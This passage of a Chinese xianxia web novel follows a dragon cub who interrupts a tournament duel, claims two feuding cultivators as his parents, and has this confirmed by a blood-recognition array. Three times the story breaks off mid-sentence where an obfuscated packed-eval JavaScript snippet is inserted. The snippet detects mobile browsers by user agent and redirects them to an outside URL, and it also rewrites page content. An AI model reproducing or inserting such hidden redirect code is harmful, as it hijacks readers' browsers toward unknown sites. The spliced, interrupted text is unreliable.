“你不是龙族这一千年里诞生的唯一一个幼崽吗?”龙髓珠摸不着头脑,怀疑青禾说这话时又忽悠人了。 “我一千年前出生之后,一直在、睡觉,最近才醒过、来。” 这次小黑龙回答得倒是很积极,甚至说完之后飞得更快了。 前面不远处就是密林的出口。 “不对,既然他来了,龙岛那帮人岂不是也找到你了?!” “没有呀,我被一个前辈、唔他说他是魔宫的少主,我被他带去魔宫驻地呆了一天。”洛云杳休息好了,不好意思让小黑龙一直托着,顶着龙髓珠飞了下去,“沐沐哥哥偷溜出来迷路了,感受到珠珠才过来找我的。” 龙髓珠压根不信:“……他能走出迷阵还会迷路?” 洛云杳忙“嘘”了一声,解释道:“沐沐哥哥身上有好多好多黑线,能说话已经很棒了,迷路很正常的。” 他之前见过身上有这么多黑线的存在非痴即傻,相比之下沐沐哥哥已经很正常了! 幼崽嘴里的黑线往往代表着神魂上的创伤,龙髓珠闻言也不再出声了。 还以为是龙岛的人派过来套近乎的,没想到是个小傻子。 “阿嚏——” 小黑龙打了个喷嚏,回头看了看小金龙头顶的金珠,眸色深邃。 龙髓珠:“……看我干什么?” 下一瞬,天光大亮。 洛云杳终于看见了久违的太阳。 可等他准备招呼小黑龙一起离开的时候,却见对方朝着他摇了摇头。 “……不和昭昭一起走了吗?”洛云杳猜着小黑龙摇头的意思。 这一路走下来他们都是这么相处的。 他负责提问,小黑龙负责点头摇头,只有极少数的时候会开口说话。 “我父亲要来、接我了。”小黑龙的说话速度快上不少,“你要去找、爹爹。” 简而言之,他们走不到一条路。 洛云杳:“……!” 那得快点跑! “沐沐哥哥再见啦,有空去九霄宗找我玩!” 日光下,浑身金灿的小龙挥着手,头顶的金珠猛地爆发出一阵金光。 须臾后,小金龙彻底不见了踪影。 小黑龙──轩辕明苍眼尖地捡起落在泥土的一片金鳞,捏在了爪子里。 龙崽会从出生开始慢慢蜕鳞,一直到成年浑身上下会换成更加坚硬的鳞片。 “儿子,你这次怎么跑这么远?” 一双大手试探着拿走了他手里的金鳞。 “和新伙伴玩得开心吗?”轩辕硕摸了摸自家儿子的脑袋,又把金鳞塞了回去,“好了,早晚还能再见面。” “擂台赛开始半天了,再不去就看不到了。” 轩辕明苍趴在男人肩膀上置若罔闻,低头看着鳞片,眨了眨金黄色的眼睛。 ……很暖和。 和昭昭弟弟的气息一样温暖。 等到男人带着他飞上天,轩辕明苍后知后觉地发问:“擂台赛不是、明天开始?” 轩辕硕:“什么明天?你们待的迷瘴林有时空阵法,万族大会早就开始半天了。” 轩辕明苍:“……!” 那昭昭弟弟,岂不是走错路了? . 此时,擂台场地外的幼崽有些傻眼。 洛云杳倒是没找错地方。因为龙髓珠说天道不再屏蔽天机,所以直接用精血锁定了洛淮时所在瞬移了过来。 可……谁能告诉他为什么想进擂台赛场地还得用腰牌? 薄薄一层结界宛如天堑,带着天道特有的气息,隔开了他去找爹爹的路。 更重要的是所有势力都在擂台赛场地里,连个偶遇路人带他进去的机会都没有。 洛云杳委屈得都要哭出声来,可一想到爹爹就在里面,抬起袖子擦了擦眼角:“不能哭、不能哭……昭昭要坚强一点,马上就能见到爹爹了。” 见到爹爹是高兴的事。 这次没了玉佩阻隔气息,爹爹一定能认出他! 与此同时,六十八号擂台又一次爆发出照亮半边天际的灵气余波。 洛淮时提着霁雨剑,正准备挥出下一招,就见对面的男人做了个“停”的手势。 云临川偏头咳了咳,喉间涌上一股腥甜:“我可不是要耍花招,是有人过来找我了。” 这话倒是真的,洛淮时也瞧见了裁判身边满脸魔纹嘴唇煞白的男人。 比斗中的确能中场暂停,不过他压根不信云临川嘴里的话,蹙眉道:“打赢我就放你去找他。” “哦,是吗?”云临川挑了挑眉,确定洛淮时不是在开玩笑,压下看见下属后不妙的预感,“那接下来……我可要认真了。” 男人似笑非笑的声音传出擂台结界。 这结界是单向的,外面的人能听见里面的声音,擂台里保持着绝对的安静。 下属闻言差点没喷出一口老血,差点给裁判跪下。 龙崽丢了怎么不是要紧事?! 那可是龙族一千年里诞生的唯一一个幼崽啊! 要不是实在找不到了,他才不会冒着掉脑袋的风险来负荆请罪。 “脸色这么难看做什么?”好友从身后怼了怼他的后背,“你不是在替少主养灵宠吗?” “难不成……灵宠出问题了?” 下属轻飘飘“呵”了一声,面如死灰,神游般转身离开。 还是继续找吧,万一找到了呢? 抱着试一试的态度,下属走到了场地出口。 一道灰扑扑的身影站在结界外,身上不太合身的白金色法衣还是下属从云临川手里拿的。 “祖宗!你跑哪去了,吓死我了知不知道啊?”下属冲出结界,噗通一声跪了下去,抱着幼崽鼻涕一把泪一把,“快跟我回去、我带你回去……” 洛云杳:“……?” 龙髓珠挤出一双眼珠子乱转,邪魅一笑:“崽,你把我说的话复述一遍,他就能带你进去了。” 幼崽在下属看不见的地方点了点头。 龙髓珠:“我不回去,我要你带我进去。” 洛云杳重复着:“长渊叔叔,你能带我进去吗?” 龙髓珠:“……你不带我进去,我就告诉你家少主你偷偷放我走。” 洛云杳:“你不带我进去,我就告诉、告诉绿眼睛前辈你把我弄丢了!” 长渊:“……?!” 人不可貌相!这么可爱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479005|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙崽居然会威胁人! 长渊还是妥协了,毕竟比起把龙崽弄丢,还是他带着“无聊”的龙崽散步罪过小一点。 不过,不能就这么大摇大摆的进去。 几息后,洛云杳扯了扯脸上不太透气的面具,拉上了长渊的手,期待道:“长渊叔叔,我准备好了!” 马上——就能见到爹爹了! 腰牌贴到了结界上。 洛云杳小心翼翼抬起手,和之前强闯不同,有人带着,几乎是瞬间便跨了进去。 擂台场地里满是刀光剑影,几百号擂台从炼气到大乘挤得满满当当,更别提还有众多围观修士,一眼望过去压根看不见路。 “爹爹、爹爹……” 幼崽握着龙髓珠默念着,回忆着初遇青年时血脉共鸣的感觉,试图再度激发。 自然而然,幼崽打开了自己的天赋。 神识钻出体外,他第一次看见了自己的“气”。 金灿灿的,和他的鳞片一样好看,还带着一点紫。 不过……爹爹呢? 这么想着,幼崽不太熟练地操控神识朝远处游去,在驳杂的气流中寻找那股能让自己血脉震颤的存在。 “噗通、噗通。” 心跳一点一点加快,是……西北方! 幼崽猛得睁开眼,一把甩开长渊的胳膊撒丫子就跑! 长渊:“……?” “站住啊啊啊!” 于是擂台场地出现了一副略显诡异的画面。 魔族扮相的男人狂奔如野狗追着前面的幼崽,而幼崽不仅游刃有余,还有空回头看男人追没追上自己。 众人一瞧是魔宫的人,立马收回准备管闲事的手,老神在在等着魔宫还能闹出什么笑话。 …… 【爹爹】 小孩子软绵绵的呼唤在耳畔响起。 “谁?”洛淮时接下迎面而来的剑招,分神看了一眼台下。 都谁些看热闹的修士,没有孩子,更何况擂台上听不到其他声音。 “师兄……稍微尊重一下你的对手。”男人似乎是用牙缝挤出来的声音,“我现在可不是刚入门被你按在地上打的废物了。” 洛淮时:“啰嗦。” 几个呼吸后,两人又过了百招。 打了将近小半天,几乎什么剑招都用过了,更别提两人师出同门,导致这场对决的时间无限拉长。 除非……换上杀招。 但洛淮时又觉得,他和云临川之间的关系不至于你死我活。 对面显然也是这么认为的,出手一直留着余地。 好在一场擂台赛的极限是三天。 三天一到,裁判会对他们的伤势、灵气消耗程度做评估,来选出获胜的一方。 到时候无论谁输谁赢,都会按照他们上次龙虎斗分别时所说,不再纠缠下去。 再见便如萍水相逢,前尘既断。 场地另一边,洛云杳感受到自己离“爹爹”的位置越来越近了。 “让一下、让一下!” 他边喊边跑着,龙髓珠冲在最前面替他开道,一路穿过熙攘的人群,最后来到了……第六十八号擂台。 即便还隔了有一段距离,甚至连人影都没看见,体内的龙血却在沸腾,像是咕噜咕噜冒泡的热水。 等到幼崽满脸兴奋,好不容易从人群里挤出脑袋。 只见台上一黑一白两道灵气厮杀咆哮,鎏金色的血黏在结界上缓缓流下。 血?爹爹……受伤了? 幼崽的笑容僵在了脸上,脑子“轰”得一声。 刹那间,幼崽身后爆发出两道金光, 黑白长龙虚影凭空出现,一左一右护在幼崽身侧,威严尽显。 擂台边的修士跑了个干净,被异象惊呆的幼崽站在原地,左右转着脑袋。 为什么会有两道血脉共鸣? 一个是爹爹,那另一道……是父亲! 反应过来后,幼崽炮仗一般冲向黑白二色灵气交融地地方—— “爹爹、父亲!不要打架,昭昭找到你们了!” 8. 养崽第八天 “咔嚓——” 本就摇摇欲坠的结界被黑白二龙彻底撞开了。 其内爆发出毁天灭地的两道剑气,眼看着就要狠狠撞击在一起。 幼崽一把扯下龙髓珠:“珠珠,快拦住!” “是!” 龙髓珠脱手而出,顷刻化作条金色巨龙,一口吞下了两道剑气! 而黑白二龙像是完成使命般长鸣一声,在众人震惊的目光中,和空气里未散的黑白灵气融为一体。 整个擂台旁鸦雀无声,就连不幸被灵气余波牵连的修士也握手言和,全都挤了过来。 “这小孩儿哪来的?怎么搞出来这么多条龙?” “你没听见吗?人家可是对着台上两位喊爹呢。” “放屁,他俩斗得和乌眼鸡似的,你倒不如说这孩子是他俩亲爹。” …… 被讨论的孩子本尊站在擂台中间,满眼迷雾,一时看不见另外两人的影子。 龙髓珠:“崽,我得休眠炼化炼化剑气。你先认亲,有事记得喊我。” 大乘修士的剑招罡气过重,此刻正在它体内乱窜。 洛云杳开开心心“嗯”了一声,随即有些为难。 他在中间,爹爹和父亲在两边,那他一会儿无论先跑向谁,另一个都会难过。 龙髓珠察觉到幼崽的想法,用尽最后一点龙香甩出两道灵绳:“好说,我让他俩来找你。” 洛云杳:“……?” 下一秒,他落入了温暖的怀抱。 青年和男人一左一右把他夹在了中间,合力把他抱了起来。 就像……他还在蛋里时一样。 “爹爹!”幼崽瞥见眼角那一抹银白,转头呼唤着青年,期盼着得到他的回应。 可青年似乎是太过“高兴”了,看着他一句话没说出来。 于是幼崽扭头看向左边,对上了云临川那张前不久刚见过的脸。 “父亲……”洛云杳有些迷茫,又喊了一声,“前辈?” 前辈就是父亲? 大大的疑惑挤满幼崽小小的脑袋。这一声喊出去,他才发现自己对男人虽然有血脉共鸣,可男人身上并没有蛋里感受到的“父亲”气息。 而且前辈的声音……和父亲也毫无相似之处。 “你们认识?” 青年的声音传来,幼崽把头扭了回去,对上了青年略显冷淡的眼神。 亲近爹爹的本能让他忽略了青年奇怪的目光,老实回答:“认识……” “别乱喊,我们哪认识?” 男人的表情像是见了鬼,喊声更是大得惊人,震得幼崽直往青年怀里躲,连自己脸上带着长渊的假面都忘了。 好奇怪。 洛云杳突然觉得爹爹和父亲好奇怪。 为什么父亲要说不认识他? 而且就算他们抱着他,可四肢滞涩表情僵硬,根本没有重逢的喜悦,就像是压根不记得他们还有个孩子一样。 幼崽被自己的想法吓到了。 他忙抓住青年垂落的银发,声音小心翼翼的:“爹爹,是捉迷藏还没结束吗?” 因为捉迷藏还没结束,所以他们还不能和他相认,得假装不认得他。 洛淮时一愣:“什么捉迷藏?” 幼崽“咦”了一声,歪着脑袋比划:“就是我还在蛋里的时候,爹爹亲口说的呀。” “爹爹说如果发现你们不见了,就是在玩捉迷藏,让我一定要找到你们。” “我现在找到你们了……”幼崽说着说着眼睛里溢满了泪水,“是不是可以继续做你们的宝宝了?” 云临川脑子嗡的一声,对着洛淮时脱口而出:“你什么时候生的孩子?” 话一出口就后悔了,这么反问,倒像是默认了他和洛淮时的关系一样。 洛淮时蹙眉横了男人一眼,随即挣脱灵绳把幼崽放在台面上。 他擦了擦幼崽脸上的灰,忽略莫名发紧的心口:“小朋友……你是不是认错人了?” “我和他不是道侣,我也没有道侣,更没生过孩子。” 【认错人】 【不是道侣】 【没生过孩子】 洛云杳被这几句话砸傻了,拉住青年的袖子眼泪汪汪:“可是我就是你们的孩子啊……” 为什么他们不记得他? 幼崽心都要碎了,强忍泪水握着吊坠,刚想唤醒龙髓珠却发现对方已经到了炼化剑气的关键时刻,一时不知道该怎么证明自己的身份。 洛淮时觉得自己脑子没病到生了孩子还不记得的程度。 突如其来的幼崽,就像是有谁在背后筹谋多年,想借万族大会,一举让他和云临川身败名裂。 但瞧见幼崽黑葡萄似的眼睛可怜兮兮地看着他,仿佛只要他再说一个“不”字就会哭出声来。 心口不知为何酸得不行,洛淮时选择沉默不语,先在记忆里搜罗可能是“幕后黑手”的存在。 洛淮时极少结仇。 少数结下的仇怨都是些生死大仇,他也都细细斩草除根了。 除了── 身后传来了男人气急败坏的声音:“那你什么意思,你没道侣我还没有呢?再说了他先管你叫的爹。” “可他也叫了你父亲,还叫了你前辈。”洛淮时沉下脸,捂住了幼崽的耳朵,“冥真,我早说了,你我之间的恩怨没必要把无辜之人牵扯进来,更何况他还是个什么都不懂的孩子。” “师父当年的教诲你都吃到狗肚子里了吗?” 云临川急了:“洛淮时!你血口喷人,我根本不认识他!只是一句前辈,你怎么确定这孩子是我指使的?!” “云少主,话别说这么满——” 台下,徒孙夸张大喊着,指着恨不得遁地而走的长渊:“大家都看见了,这孩子可是你们魔宫人领进来的!” 长渊:“……” 完蛋了,他这回必死无疑。 “滚上来!”云临川黑着脸,绿眸里闪着晦涩的光,“说,这孩子哪来的?” 长渊疯狂给云临川使眼色,恨不得冲过去狂摇他的肩膀大吼:“是你啊,你捡回来的!” “你不仅捡了个龙族快要找疯的幼崽,你还要拿他造谣你师兄的私生活!” “虽然你最后突然良心发现不准备造谣了,可是架不住这孩子自己非要跳上来管你俩叫爹啊!” 但长渊不敢,因为修为不够,甚至不敢给云临川传音。 此刻的男人正在气头上,识海疼得几乎要爆炸,早就忘了驻地还有个捡来的龙崽:“眼睛不想要可以捐了,快说话,哑巴了吗?” ……好吵。 幼崽听不太真切这些人在说什么,只能听见蜜蜂一样的“嗡嗡”声,在青年手底下扭来扭去试图挣脱,不小心挠到了下巴。 指腹摸到一层皱巴巴的存在,洛云杳这才记起来脸上还带着长渊给他的面具。 幼崽反手搓了搓脸,摘下假皮递了过去:“长渊叔叔,这个还给你,谢谢你带我进来。” 长渊:“……” 云临川:“……?!” 洛淮时:“……!” 众人:“哇哦。” 台下从炼气到大乘的修士,只要眼睛没瞎,都看清了幼崽那张和洛淮时有六分相似的脸。 至于剩下那四分,自然是像云临川了。 “我不是让你把他看好吗?”云临川倒吸一口凉气,识海一阵接一阵抽疼,“你把他带过来做什么?谁教他乱说话的?!” 四周的窃窃私语似乎变成了光明正大的嘲笑,让他在兽林释放出去的杀意再度蔓延上心头。 那双绿色竖瞳越来越红了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479006|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>洛淮时暗道不好,顿时把幼崽扔给长渊,动作熟练地一巴掌拍在男人灵台,渡了点灵气进去:“冷静点,发什么疯?” 刚入门时云临川根基虚浮,隐隐有入魔之兆,都是他这般替他醒神的。 好在时隔多年,男人对这一下依旧毫无防备,看清是他后那股狂躁褪去几分,乖乖闭嘴调息。 洛淮时甩了甩被震麻的手,面无表情转身,对上了幼崽震惊的表情。 忘记捂眼睛的长渊:“……” 等他手忙脚乱补救时,一不小心又掀开了幼崽的帽子。 又短又胖的龙角露了出来,像在脑袋上杵了两根胖蘑菇。 似曾相识的胖蘑菇。 洛淮时脚步一顿,心中疑虑不减反增,蹲到幼崽对面柔声问着:“你不是飞仙楼老板的孩子吗?我那天救过你。” 相比于青年的镇定,擂台下直接炸开了锅。 “什么鬼热闹,龙族跑丢的幼崽怎么在这儿?!” “多刺激,话本子都不敢这么写。” …… 说时迟那时快,属于渡劫强者的威压缓缓袭来,骚动的人群“哗啦哗啦”让出来一条路。 来人正是龙岛众人。 族长、月栖、星眠还有青禾站在了最前面,后面乌泱泱挤了一堆龙君。 幼崽还没来得及回答洛淮时的话,就被长渊抱起来朝着擂台边缘跑去。 长渊倒不是抽疯,而是左护法传音过来,让他把这颗“定时炸弹”先送回去。 “放我下来!”幼崽挣扎着,气得不行,“我不要去龙岛、放开我!” “放开!” “他让你放手你耳朵聋吗?” 两只手同时扯住了长渊的胳膊。 长渊左看看云临川,右看看洛淮时,果断撒手投降。 幼崽落进了青年怀里,姿势如同当日仙魁街被救下一般。 云临川晚了一步,尴尬收手,却被幼崽拽住了手指。 洛云杳强忍许久的泪水终于决堤,一手抓着一个人“呜呜呜”暴风式哭泣。 没关系的……就算爹爹和父亲不记得也会来救他。 他还是他们的宝宝。一定是有坏蛋拆散了他们一家三口,让爹爹和父亲失忆的! 刚炼化完剑气的龙髓珠差点没吓晕过去,不知道怎么前后不到半盏茶的时间,事情就变成了现在这个局面。 “好了崽,先别哭。”龙髓珠理清前因后果,又看了看洛淮时和云临川,“先不说记忆的问题,他们两个似乎对血脉共鸣没什么反应。” 按理来说那两条黑白龙入体,身为双亲的洛淮时和云临川应该出现半龙化的状态,可迄今为止这俩依旧是人形。 龙髓珠:“你先找机会当众滴血认亲,龙族要是事后翻脸想强行带你走,你就随便抱住一个人的大腿哭不撒手。” 洛云杳:“……好。” 虽然后半段话不太靠谱,好在前半段还算可行。 族长已经走到了三人对面。 青禾先对族长行了礼,直接对着众人开口澄清:“这孩子可不是我儿子,虽然我们的确有点血脉关系,但他是我在门口捡的。” 对,厨房门口也是门口。 “他当时饿了三天三夜,差点晕过去。”青禾如诉如泣,“我可怜他一个孩子无父无母流落街头,没想到带回去掀开帽子,居然是条龙崽。” 月栖抬起胳膊给了青禾一杵:“长话短说,你唱戏呢?” 青禾:“……他说他是来万族岛找爹爹和父亲的,但是天道屏蔽天机,导致寻亲法术失效才流落街头。” 瞧见幼崽在旁边插不上话着急的模样,族长对着他点了点头,才对洛淮时二人道:“既然你们坚持此子非你二人所生。” “身正不怕影子斜,那便在诸位面前滴血认亲吧。” 9. 养崽第九天 修士修为越高,自然孕育后代的可能就越小。 大多数时候,都是用精血辅以天材地宝孕育后代的。 不过这也导致调换血脉、偷盗精血孕子碰瓷……等等令人瞠目结舌直呼“逆天”的情况出现。 那时的滴血认亲术简洁明了,只能推出“直系”、“旁系”和“血脉浓度”,至于孩子是怎么来的谁也没法盖棺定论。 好在经过众人对认亲法阵的不断改良,如今的滴血认亲今非昔比。它不仅能显示出确切的关系、年纪,还能根据需要探查出孩子是怎么出生的。 族长说完捋了把胡子,压根没给洛淮时两人反应时间,直接打出法阵,做了个请的手势── “有什么话一会儿再说。” 星眠成功挤开月栖,蹲在幼崽对面,一边哄着一边刺破他的指尖。 晶莹的血珠飞了出去,落入繁复古老的法阵中。 紧接着被取血的是洛淮时。 等到了云临川时,星眠刚想动手,就被男人制止住动作。 云临川:“我这身骨血是天材地宝造就的,用来取血认亲可不行。” 洛淮时瞳孔微缩,垂落的手不自觉握紧了霁雨剑柄。 修士完全舍弃肉身,除了转世重修,那就只有一种可能──重伤到肉身溃散,撑不起三魂七魄。 余光察觉到青年的不自然,云临川笑了笑:“怎么?师兄关心我?” 洛淮时眉头微皱:“你若无血肉认亲,何不早说?” 云临川:“我没有血肉,可我还有魂魄。” 说着,男人化出龙爪割破手腕,硬生生挤出来一滴漆黑的魂血。 三滴血在法阵里飞速旋转。 等待的过程格外煎熬,无论背后有多大的谜团和阴谋,如今都得等结果出来。 洛淮时沉默地站在原地,身侧挤着还没他腿高的幼崽。 相比其他小孩子,幼崽的身躯十分单薄,只有两颊上挂着点肉,比起可爱,第一眼给人的感觉却是心疼。 这让他忍不住握住了幼崽的手,安抚似的拍着他的后背。 “呵。” 旁边突然传来一声似是而非的笑,洛淮时看了眼云临川,终于忍不住传音道:“到底是不是你在搞鬼?” 云临川:“我搞鬼至于让他管我叫‘父亲’?师兄……我在你眼里就这么蠢吗?” 蠢倒是没之前蠢了。 时隔多年,洛淮时依旧记得云临川刚被师父带回来时的模样。 衣不蔽体、四肢着地,听不懂人话,不仅满山乱跑,被人逼到角落还会吱哇乱叫着咬人。 可那些日子都过去了…… 他们已经回不── “砰”得一声,三枚精血旋转着交融在一起,弹出几行金光闪闪的大字—— “父,云临川,五百一十一岁。” “父,洛淮时,五百一十二岁。” “子,洛云杳,破壳六月余,孕于其父洛淮时之身。” “咔哒——” 洛淮时手里的霁雨剑狠狠砸在了擂台,飞溅的碎石划擦过脸颊。 “不、不可能……”他看着那几行金字,整个人仿佛泡在了幽深的海水里。 什么云临川、什么记忆出了问题都不重要了,血一点一点冷了下去,刹那间洛淮时已经分不清自己身处何方。 他怎么会真的有一个孩子? 他这样的存在……怎么配── “爹爹?爹爹你没事吧?”一双小手握住了他的掌心,幼崽关切的声音飘进耳朵,刹那间洛淮时又回到了人间。 而此时,云临川已经没空去管那几行字了。 在众人震惊的目光里,他闪身去到了洛淮时身边,用尽最后的理智把幼崽塞给星眠,又设下结界。 “……太初,你不是白蛇吗?不是恨我这条龙,所以非得和我分出个高低吗?”他控制不住地问着,抓着青年的肩膀,一声比一声高,“你为什么骗我……凭什么骗我?!” 洛淮时心脏跳如擂鼓,颤声反问道:“你胡说八道什么?我骗你什么了?” “我胡说?可滴血法阵骗不了人!”云临川头痛欲裂,指着那几行金字,破罐子破摔地说着,“他是你生的……” “可他是条金龙,你知道金龙意味着什么吗?” 洛淮时隐约有了猜测,喉咙干涩:“我……不知道。” 云临川:“金龙的双亲必须都是纯血龙族!” 擂台下不知道是第几次炸锅了。 “啊?洛尊者的原形不是白蛇吗?他是龙的话也没必要藏着掖着啊,如今龙族虽然走下坡路了也不至于……” “诶,说什么呢?再说两句小心龙君找你单挑。” “滚滚滚,现在龙族随便挑个人出来修为都在化神之上,单挑找死啊。” 台上,星眠一屁. 股插进对峙的两人之间,隔开两人和事佬般说着:“别激动别激动,有话好好说。” 这么一打断,云临川冷静不少,还想再说什么,却见青年垂下了脑袋。 上半张脸隐没在几乎半透明的发丝里,在夕阳下呈现出难得地弱势感。 自从入九霄宗,他的师兄就说他是一条蛇。 传说里,蛇族始祖乃是一被削角断足的金龙,因触怒族中上神才横遭此祸。 上神罚祂子子孙孙只能如虫蚁般匍匐在地面,好在龙神慈悲,留祂一丝龙血,助其后代能通过跃龙门恢复龙族身份。 所以蛇是最恨龙的。 他的师兄不是圣人,所以一样“恨”他,对他从来都是冷着一张脸,不假辞色到了极致…… 记忆里,他甚至没看过洛淮时的笑脸。 就因为他是龙,而他是蛇。凭什么? “……我不是。” 青年嘶哑的声音打断了云临川乱飞的思绪。 洛淮时深深吸了一口气,依旧没能缓解识海的阵痛,翻出丹药瓶吃了一粒,又重复了一遍:“我说……我不是纯血龙族。” 丹药入口即化,却没能像从前一样奏效,识海反而更疼了,像是有人拿着刀片在里面剐蹭。 一时间洛淮时似乎回到了阴暗潮湿的洞穴,无数碎石草梗砸了过来,还伴随着阴阳怪气的嘲讽── “这煞星怎么还没死?饿了他三天三夜了,他不死诅咒真的应验了怎么办啊?” “呸,真晦气。要不是怕杀了他倒霉,早就把他……” 剩下的话他记不清了,呼吸间都是腥气,仿佛擂台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479007|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成了审判他的铡刀。 “你不信吗?”洛淮时满眼嘲讽地看向云临川,“那这样呢?” 一对羸弱、黯淡的龙角出现在青年脑袋上,脸颊上也浮现出了似蛇非蛇的鳞片。 他指着鳞片,一字一顿:“我是半龙,所以我不仅讨厌龙族,我也讨厌蛇。” “师弟,你满意了吗?” 恶意,满天都是恶意。 幸灾乐祸的、惋惜可怜的、事不关己的……可那些情绪或多或少都带着恶意。 还有什么比看着高高在上的存在狠狠跌落神坛,被人扒出来满是“瑕疵”皮囊更让人恶意横生的? 更别说今天的主角是如今的剑道第一人,身负长生剑骨五百岁就晋升大乘,九霄宗实打实的门面。 这么多年有多少天骄因为一个洛淮时拜入了九霄宗?又有多少人败在他手下从此一蹶不振成了他的磨刀石? 而这副半龙半蛇的模样,成了他声名鹊起后唯一的“污点”。 云临川没想过事情会发展到这个地步。 他从没见过洛淮时像现在这样狼狈,就算这几百年他们之间打得再激烈,洛淮时在他印象里都是一副冰清玉洁不染纤尘的模样,甚至连情绪都很少出现。 他不满意。 他只是以为洛淮时背着他偷偷跃了龙门。 人堆里,轩辕明苍眼里几乎整片场地都是黑漆漆的雾气,它们笼罩在人群之上,就像张牙舞爪的怪物。 他躲在父亲的衣服里,只露出两只眼睛,一错不错地盯着星眠怀里唯一的光亮。 只不过比起初遇时的明亮,如今那团光源稍显黯淡。 被人抱在怀里的小金龙很不安分,似乎想挣脱束缚,最后还是被星眠压制下来。 “昭昭、昭昭……” 轩辕硕搓了把儿子的脑袋瓜:“人家认亲呢,瞧你急什么?” “昭昭、难过。”轩辕明苍说着,顶了顶父亲的掌心。 轩辕硕沉默片刻,语气里带上一丝微不可察的期待:“儿子,你真的想去找他吗?” “不……我是说,你愿意就这样去找他吗?还是我给你套上一层结界。” 轩辕明苍:“就、这样。” 他要帮昭昭、分散恶意。 于是一波未平一波又起,一团黑漆漆的存在“砰”得一声冲向擂台,在星眠极其惊悚的目光里撞了过来。 “咔嚓──” 洛云杳身上的结界应声而碎,星眠被族里这另一个祖宗撞得浑身一麻,松开了怀里的幼崽。 恢复自由的洛云杳欢呼一声,看见轩辕明苍后更是激动得也变回龙崽形态。 擂台上一黑一金两条小龙愉快地用尾巴击了个掌。 洛云杳:“沐沐哥哥!” 轩辕明苍眨眨眼,果断向被蒙在鼓里的幼崽告状:“你、父亲,欺负爹爹。” 他看得一清二楚。 龙髓珠:“……” 哪来的倒霉孩子,不知道大人的事小孩子管不了吗? 小金龙的鳞片“刷”一下炸开,像是听见了什么不可置信的东西。 扭头瞥见青年通红的眼眶,和男人凶巴巴的表情,龙崽一下护在青年身边:“不许欺负我爹爹!” 10. 养崽第十天 洛云杳一直都知道,他和别的龙崽不一样。 其他的龙崽只有破壳后才能诞生神识五感,而他在爹爹肚子里时就能偶尔听见声响。 最开始他只有模糊的意识,所以那些声响也很微弱,直到有一天他听见了一声温柔的“宝宝”。 是爹爹。 爹爹会温柔地给他哼着童谣,而他泡在羊水里,在歌声中起起伏伏。 爹爹也会用抑扬顿挫的声音给他讲各种各样的故事,他总会在故事进行到高潮时轻轻摆动着尾巴。 每到这时,爹爹都会说他像一条小金鱼。 昭昭不是鱼,昭昭是一条强壮的小龙。 可惜那时的洛云杳没有嘴,也无法传音,只能急得在肚子里团团转,又不敢折腾得太厉害让爹爹难受。 他还听爹爹提起过去。 爹爹说他一出生就因为半龙的血脉被双亲丢在野外自生自灭。好龙的血脉足够强悍,他无师自通学会了捕猎,磕磕绊绊活了下去。 他想回归族群,去找他的双亲兄弟姐妹,可刚回去得到的就是尖叫怒骂。 他们说他是个怪物,只要活着早晚会给白蛇一族带来灭顶之灾。 可又没人敢杀他。 要不是后来师父路过,救下了差点被打死的他,那他这一生就会终结在那个阴雨连绵的季节。 爹爹还说,他从来没想过自己能有孩子。 可他有了他,就决定爱他一辈子,不让他受到一点委屈。 洛云杳也不许有人欺负爹爹。 就算那人是父亲。 龙崽用自己弱小的身躯挡在了青年身前,瞪着对面的男人。 男人的表情很奇怪,喉结上下耸动着,张开嘴── “……昭、昭昭。” 洛云杳没等到云临川的回答,而是被身后带着薄茧的手托住了,滚烫的泪水砸在鳞片上,似乎能把心也跟着烫出个窟窿。 “噗通、噗通。” 洛淮时感受到了幼崽的心跳。 手里的小东西热乎乎的,抱着就像捧起了一团火,心跳顺着掌心一直传到了心尖最柔软的地方。 周围的一切都消失不见了,无论是或讥讽或怜悯的目光,还是擂台上的其他人。 洛淮时低下头,轻轻亲了下幼崽的脑袋:“没人欺负我,没人欺负……爹爹。” “捉迷藏结束了,宝宝先和龙岛的人回去休息好吗?” 幼崽被突如其来的亲亲惊喜到僵在原地,可是甩得越来越来的尾巴暴露了他的不平静。 爹爹!亲他了! 他就说爹爹还记得他,只是因为在玩“捉迷藏”才假装不认得昭昭! 看透一切的龙髓珠:“……” 它决定选择沉默,并且悄悄留下一点神识偷听这些人准备搞什么幺蛾子。 另一边,功成身退的小黑龙落到了星眠肩膀,转了一圈,和每一个打量它的修士对视。 眼里的漫天恶意消散不少,大多数人都被他这个突然冒出来的第二条龙崽吸引了注意,转头开始叽叽喳喳讨论龙族到底在搞什么鬼,怎么有幼崽诞生这些年还一副快要灭族的难看嘴脸。 